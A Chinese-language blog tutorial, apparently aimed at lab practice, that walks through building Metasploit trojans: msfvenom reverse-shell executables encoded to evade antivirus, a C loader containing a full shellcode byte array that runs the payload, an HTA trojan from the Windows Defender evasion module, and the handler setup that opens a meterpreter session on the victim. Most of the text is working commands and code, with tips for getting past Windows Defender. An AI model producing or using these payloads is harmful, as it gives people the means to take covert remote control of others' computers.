0x00 前言

  • 本文将介绍有关MSF木马模块的简单使用方式,介绍常见的几种木马生成方式,如有不对的地方,欢迎大家在评论区指正。
  • 由于本文仅对部分模块的简单使用进行说明,更多信息请参考官方网址MSFVENOM
  • 环境配置说明
    1. 使用kali虚拟机和Win7(可以低于此版本)虚拟机
    2. kali虚拟机建议使用最新版本并将系统软件更新至最新版本
    3. Win7虚拟机务必关闭网络防火墙,不建议使用Win7及以上版本系统,简单的木马会被直接删除
    4. 查看两台虚拟机的IP地址,确保两台虚拟机之间可以ping通
    

0x01 直接生成 .exe 木马

  1. 在kali虚拟机中使用 msfvenom 命令,查看kali中是否安装msfvenom模块
  2. 查看kali虚拟机的IP地址,并使用kali虚拟的地址执行下述命令
    - ifconfig 查看kali虚拟机的ip地址 当前虚拟机的ip地址为 192.168.25.131- 执行下述命令生成名称为 2222.exe 的木马
    - msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 lhost=192.168.25.131 lport=3333 -f exe > 2222.exe
    - -p参数用于指定攻击的载荷方式
    - -e参数用于指定编码的类型
    - -i参数用于指定编码的次数
    - lhost参数用于指定攻击机的ip地址
    - lport参数用于指定攻击机的端口
    - -f参数用于指定生成木马的文件类型,以及木马的名称
    

    上述命令执行过后,木马将会默认生成在系统的根目录。该木马为被动连接型木马,即目标主机感染后将会主动连接至木马文件中提前设置好的ip地址和端口。该木马使用meterpreter模块来传输相关的指令。

  3. 可以将生成的木马拖动至宿主机,再由宿主机拖动至攻击机里。请注意,由于木马较为简单因此您的宿主机可能将木马删除,请在windows defender中将木马文件恢复,但是不建议您直接关闭宿主机的windows防火墙。木马的具体使用方法请参照后面章节的使用说明。

0x02 使用代码间接生成 .exe 木马

  1. 有的时候使用工具直接生成的木马很难通过杀毒软件的扫描,因此我们可以尝试自行编译代码,并且在代码中加入自己想实现的功能,本节仅介绍如何使用代码编译生成木马。

    - 在kali虚拟机中执行如下代码
    - msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 15 -b '\x00' lhost=192.168.25.131 lport=3333 -f c
    - -b参数用于删除生成代码中的指定字符
    - -f参数这里用于指定生成c语言代码- 上述命令执行过后,将其中的代码部分复制到剪贴板,在后续步骤由于编译木马文件
    - 具体执行界面如下图所示
    

  2. 使用vc++ 6.0对源码进行编译,在对源码编译之前将上一步打码替换至下方所示的代码块中
    #include "stdafx.h"
    #include <stdio.h>
    #pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
    unsigned char buf[] =
    "\xb8\x44\xd5\x8b\xb0\xda\xdd\xd9\x74\x24\xf4\x5b\x33\xc9"
    "\xb1\xb8\x31\x43\x12\x03\x43\x12\x83\xaf\x29\x69\x45\x97"
    "\x29\x02\xd2\x1d\x17\x03\xc3\x95\x8c\x40\xaf\x7c\x04\x19"
    "\xe1\x4f\xd5\x49\x81\x44\x25\x6e\xc6\x6e\x58\xf0\xef\x45"
    "\x94\x69\x11\xc0\xbe\x0c\x65\xcb\x46\x7d\x25\xa3\x10\x5a"
    "\x77\xc9\x1f\x1f\x96\x53\x92\xab\x1d\xc7\xb5\x8f\x9d\x8c"
    "\xd5\x7f\x3b\xdd\x7e\xd2\x03\x91\x8c\x5f\x87\x91\xb9\x3a"
    "\xef\xa7\xf1\x36\xf8\x88\x62\xb1\x84\x94\x73\xa6\x10\xd1"
    "\x90\xb4\xd4\xf0\xcb\x90\x61\xa7\xa5\x1d\x27\xc7\x88\xda"
    "\x73\x94\x22\x24\x36\x62\x25\x8c\x47\xe1\x07\x9b\xa6\xe6"
    "\xca\x88\x46\xcf\x9b\xf6\x75\xf2\x44\xa3\x35\xe0\x43\x24"
    "\x2d\x37\x79\x7a\x71\xa2\x69\xe1\x6b\x42\xed\xc9\xbe\x08"
    "\x62\x5e\xf7\x37\x45\x1a\x16\x1b\xca\x21\xef\xb9\x59\x75"
    "\xf8\x0f\xc4\x0c\x24\xed\xe3\xe7\x97\x76\x17\x16\xd5\xcf"
    "\xc3\x26\x5a\x2a\x29\x3a\xdc\xac\xeb\x33\x64\x55\xac\xa6"
    "\x12\x71\xf2\x7f\xe3\x2b\x31\xac\x6e\xab\x2b\x6b\x20\x9d"
    "\x8a\x22\xc7\x4d\x44\xbf\x6b\x4c\x8e\x0f\xcd\x55\x9f\xa8"
    "\xe5\x9e\xfc\xfa\x4b\x36\x87\x49\x03\x32\xd3\x0a\xf9\x3c"
    "\x80\xe7\x1f\x69\xb4\xb0\x6f\x46\x5a\x2d\x66\x4a\x9d\xde"
    "\x28\x1b\xbd\xe3\xce\xde\xd1\x64\x2c\xd6\xed\x48\x4b\x67"
    "\x4f\xf8\x7a\xc7\xf5\x31\x6c\x8e\x55\x6e\x8f\x1d\x68\x27"
    "\x43\x6a\x86\x4d\x48\x64\xe8\x77\xe7\x55\xbb\x2a\xfe\xa6"
    "\x8f\x1c\xb1\xa8\xd9\x8e\x6c\xc4\x80\x04\xe0\x23\x43\x05"
    "\x82\x88\x46\x0b\x48\x19\x0e\xd8\x9d\xd2\x4a\x8d\x3b\xf4"
    "\xb1\xf6\xcc\xb4\xed\xcd\x38\x42\xfa\x10\xf5\xa9\x95\x76"
    "\x3b\xd3\xc3\x96\x0a\xbf\x84\x7b\xde\xbc\x17\xca\xe4\x87"
    "\x22\x03\x81\x4b\x17\x38\x11\x72\xf5\x6d\xb3\x97\xaa\x68"
    "\x5d\x44\x1a\xb6\x11\x1a\xde\xf5\x44\xbd\x8b\xd8\x52\x9a"
    "\x2e\x53\x3d\xa0\x6e\x7a\xcc\xfc\xa8\x70\x6c\x52\xd4\x9f"
    "\xc8\xd6\x77\xfc\x65\xba\xa0\x26\x20\x73\xc1\xc4\x8c\x3b"
    "\x70\x4c\x8b\x4f\xa1\xd5\x0f\xcb\x07\x6e\xef\xb5\x59\x60"
    "\x5e\x82\xda\xbf\x0b\x8f\x6a\x81\x8a\x53\x48\xc8\x54\x9d"
    "\xe5\x6c\xfd\x41\x76\xf1\xd1\x83\x3a\xf1\xa9\x66\xc0\x04"
    "\xcf\xba\xd0\x18\xa3\x80\x86\x6e\x9d\x96\xb1\x27\x07\x85"
    "\xfa\x12\x6b\x60\xd0\x79\x87\xab\xd3\x09\x6a\x78\x15\x53"
    "\xa9\x84\xde\xd9\x63\x4c\x05\x74\x43\x6c\x44\x04\x58\x2c"
    "\x41\x19\xe0\x26\x77\x80\xcd\xec\x07\xe3\x14\xa3\xd5\x63"
    "\x89\xf8\xbf\xdd\x67\xc9\x98\x37\x19\x77\xd2\x1e\x1d\xf7"
    "\x0a\x90\x44\xcc\xad\x68\xa5\xe0\x69\xc4\x34\x85\x6f\xc9"
    "\x03\xce\x3f\x06\x05\x7a\x60\xd5\x9f\xf3\x55\x98\xad\xf0"
    "\xad\x21\x73\x08\xce\x64\x93\xb0\x49\xc7\x17\x2b\x97\xfc"
    "\x25\x09\x82\x38\x3c\xf7\x4e\xc9\x8e\x76\xbe\x12\xf7\x52"
    "\x44\x29\x19\x3c\x4d\x9a\xac\x6f\x22\x09\x10\x14\x4b\x25"
    "\x50\x37\xd5\x73\x39\x36\xfd\x15\xad\x62\xd7\x09\x96\x8b"
    "\x67\x5e\xfb\x65\xa1\x9a\xe3\x25\x14\x18\xca\xfd\x3c\xb5"
    "\xab\x6e\x81\x70\x80\x44\x66\x9f\xeb\x72\xea\xd9\x1e\xf6"
    "\x44\x1d\x6a\x24\x45\x9c\x91\x7b\xae\x6a\x88\x9d\x32\xa3"
    "\xfb\x18\xe9\xb9\x7d\x4b\x49\xfa\xb3\x1f\x15\x3f\x99\xc8"
    "\x14\xfe\xac\xc2\xdf\x30\x98\x20\x3e\x15\x44\x45\x0e\x24"
    "\xc8\x14\xd7\xcc\xda\x99\xcd\x73\x01\xd1\xf9\x39\x86\x8d"
    "\x7d\x29\x63\x16\x87\x31\x0f\xbe\x5c\x0e\x79\x64\x49\x1b"
    "\x6b\x47\x15\x44\xa9\x01\x32\xcf\xbc\xdb\xd8\x93\x6f\x9e"
    "\xc3\x63\xab\x9a\xd8\x6d\x10\xd6\x79\xc2\xeb\x26\x33\x9f"
    "\x05\x84\x52\xd6\x80\x97\xf6\x23\x5f\x3c\x03\x43\x04\x7a"
    "\x99\x9c\x89";main()
    {((void(*)(void)) & buf)();
    }
    
  3. 运行vc++,选择右上角文件按钮–>新建–>win32 application–>自拟工程名称–>确定
    工程创建成功后将之前构建好的木马代码粘贴至source files中的.cpp文件中,名称为我们自拟的工程名,如下图所示为1102.cpp
  4. 选择StdAfx.cpp文件选择上方组建按钮,点击编译按钮,编译成功后下方会显示零错误提示栏。
    选择我们创建的1102.cpp文件,选择上方组建按钮,点击组建按钮,编译成功后下方提示栏会显示零错误提示。上述步骤执行结束以后木马文件就会成功生成,但是如果你是在win10系统中运行上述步骤生成的木马很大概率会被windows defender删除,建议将工作目录设置为排除文件夹。

0x03 使用msfconsole控制台中的evasion模块生成免杀病毒

  1. 该模块由官方提供,但在实际测试简单的规则依然会被杀毒软件,本节只讲解该模块生成木马的简单使用方式,更多信息请参照官方文档。
  2. 在kali控制台中输入msfconsole回车运行控制台,输入show evasion查看支持的木马类型。

  3. 我们这里选择使用evasion/windows/windows_defender_js_hta生成木马,输入命令 use evasion/windows/windows_defender_js_hta。接着输入options查看我们可以设置的参数。
  4. 接下来设置木马的相关参数,执行下述命令
    - 设置payload
    - set payload windows/meterpreter/reverse_tcp
    - 设置攻击机IP地址
    - set lhost 192.168.25.131
    - 设置攻击机的端口
    - set lport 3333
    - 设置木马文件名称
    - set filename hack.hta
    - 再次输入options查看我们设置的信息是否有误
    - options
    

  5. 输入run指令生成木马,页面会返回木马生成的文件目录

0x04 木马的使用

  1. 在上述的三个小节中我们介绍了三种木马文件的生成方法,针对上述三种木马文件的使用方法是相同的,因此在最后一节统一进行说明,我们选择最后生成的hack.hta文件进行讲解。

    - 木马文件的执行过程执行流程如下
    1. 目标主机中被上传有木马文件
    2. 攻击机开启监听端口,监听目标机可能发来的连接请求
    3. 目标主机执行木马文件,与攻击机建立连接
    4. 攻击机执行攻击命令
    
  2. 在kali虚拟机中执行命令,启动监听模块,并设置相关参数,具体命令如下
    - 启动msfconsole控制台
    - msfconsole
    - 启动监听模块
    - use exploit/multi/handler
    - 设置payload
    - set payload windows/meterpreter/reverse_tcp
    - 设置攻击机IP地址
    - set lhost 192.168.25.131
    - 设置攻击机的端口
    - set lport 3333
    - 输入options查看我们设置的信息是否有误
    - options
    - 输入run命令启动监听端口
    - run
    

  3. 目标主机使用管理员模式运行木马文件,kali窗口中将会返回meterpreter操作窗口
  4. 输入getuid查看目标主机的计算机名称,输入?获取相关更多操作的详细说明

MSF生成木马及木马的简单使用相关推荐

  1. msf生成linux elf木马反弹shell

    最开始用的生成木马的命令 msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=xxx.xxx.xxx.xxx LPORT=8888 -f elf & ...

  2. msf之msfvenom的使用—使用Kali渗透工具生成远控木马

    一.先解释一下 msfvenom取代了msfpayload和msfencode,常用于生成远控木马,在目标机器上执行后门,在本地机器kali中监听上线. (注意:msfvenom是在shell里使用的 ...

  3. MSF生成一个木马与使用

    原理: 利用msf模块中的msfvenom模块,首先生成.exe木马文件,用测试机打开,攻击成功后,就渗透到了靶机系统中. 准备: 目标:win7 x64专业版 攻击主机:Kali IP:192.16 ...

  4. MSF生成windows木马

    msfvenom是msfpayload,msfencode的结合体,它的优点是单一,命令行,和效率.利用msfvenom生成木马程序,并在目标机上执行,在本地监听上线 生成exe木马 msfvenom ...

  5. msf 生成.wsf 木马

    ** 网络安全重磅福利:入门&进阶全套282G学习资源包免费分享! ** 首先了解wsf是啥语言,可参考文章如下: https://www.cnblogs.com/vitrox/p/51374 ...

  6. MSF编码+VS编译木马免杀

    MSF编码+VS编译木马免杀 msfvenom -p windows/meterpreter/reverse_tcp -a x86 --platform LHOST=XXX LPORT=XXX -e ...

  7. 实战: unicorn生成免杀木马,绕过win10防火墙和windows defender

    实战: unicorn生成免杀木马,绕过win10防火墙和windows defender 简介 原理 步骤 攻击 总结 简介 随着操作系统的安全等级越来越高,对能免杀,无视防火墙的木马需求也越来越高 ...

  8. php随机分配的方法,PHP生成指定随机字符串的简单实现方法

    搜索热词 本文实例讲述了PHP生成指定随机字符串的简单实现方法.分享给大家供大家参考.具体分析如下: 这是一个简单的函数,没有对生成的内容作强制设定.所以在生成的字符串长度较少的时候,会出现没有指定类 ...

  9. 小程序源码:全新圣诞节头像框制作生成-多玩法安装简单

    不知不觉又到了12月份,圣诞节也快要到了 所以小编就提前给大家发一款可以制作圣诞帽头像的一款小程序吧 里面有多种模板选择,当然啦里面不只是可以制作圣诞帽 还可以制作贴图头像框,各种卡通,卡哇伊,男神女 ...

  10. Zxing与 Zbar生成二维码最简单的实现方式

    Zxing与 Zbar生成二维码最简单的实现方式 导入依赖 implementation 'cn.bingoogolapple:bga-qrcode-zbar:1.2.1' 或者 implementa ...

最新文章

  1. Ext JS 4倒计时:动态加载和新的类系统
  2. 送餐机器人被解雇,人工智能“人性”待进化
  3. Android 7.0 SystemUI 之启动和状态栏和导航栏简介
  4. Java位操作:如何将long类型的指定位设置为0或1?How to set/unset a bit at specific position of a long?
  5. 小米android系统耗电量大,小米手机耗电快的解决方法,亲测有效~
  6. 【物理动图】物理老师一针见血:50张动图看懂高中物理
  7. HashMap底层理解(上)
  8. 多线程,异步委托,同步委托几种方式的区别
  9. 【渝粤题库】陕西师范大学201921比较法学作业(专升本)
  10. IK Multimedia MODO BASS for mac(低音效果虚拟乐器)
  11. php strcmp bypass漏洞
  12. GPU架构变迁之AI系统视角:从费米到安培
  13. 天正lisp文件夹_CAD使用一个LISP文件,实现自动加载菜单和程序集
  14. labview获取窗口句柄_API---如何获得窗口句柄(HWND)
  15. 仿京东PC网页商品详情的放大镜效果(原理+代码)
  16. VBA Excel 直接增加任意名字sheet
  17. Biotin-PEG-SH生物素-聚乙二醇-巯基结构式;SH-PEG-Biotin
  18. 峰会 | 2019长三角科技金融峰会召开 区块链应用前景持续探索
  19. 生产消费者模式实例(多线程实现价格监控)
  20. 【老本行的碎碎念】- - 关于新闻传播的整体认识和下一步规划 - - 开始继续充电趴!~ :D

热门文章

  1. 【科创人独家】阿拉丁史文禄:恐惧于确定的未来,小程序年内将迎来爆发
  2. 代码战争之友人与敌人
  3. ElementUI分页与增删改合并
  4. linux学习笔记 linux内核6.0.2目录结构
  5. 如何破解招聘面试中暗藏的八大玄机?
  6. 信息安全管理(CISP)—— 信息安全管理
  7. 相机光学(二十)——三原色与白平衡
  8. java去掉date分时秒_java Date获取年月日时分秒的实现方法
  9. linux黄颜色文件,了解 Linux 文件的颜色代码
  10. 华为内部存储转sd卡_华为手机内部存储软件怎么转到sd卡?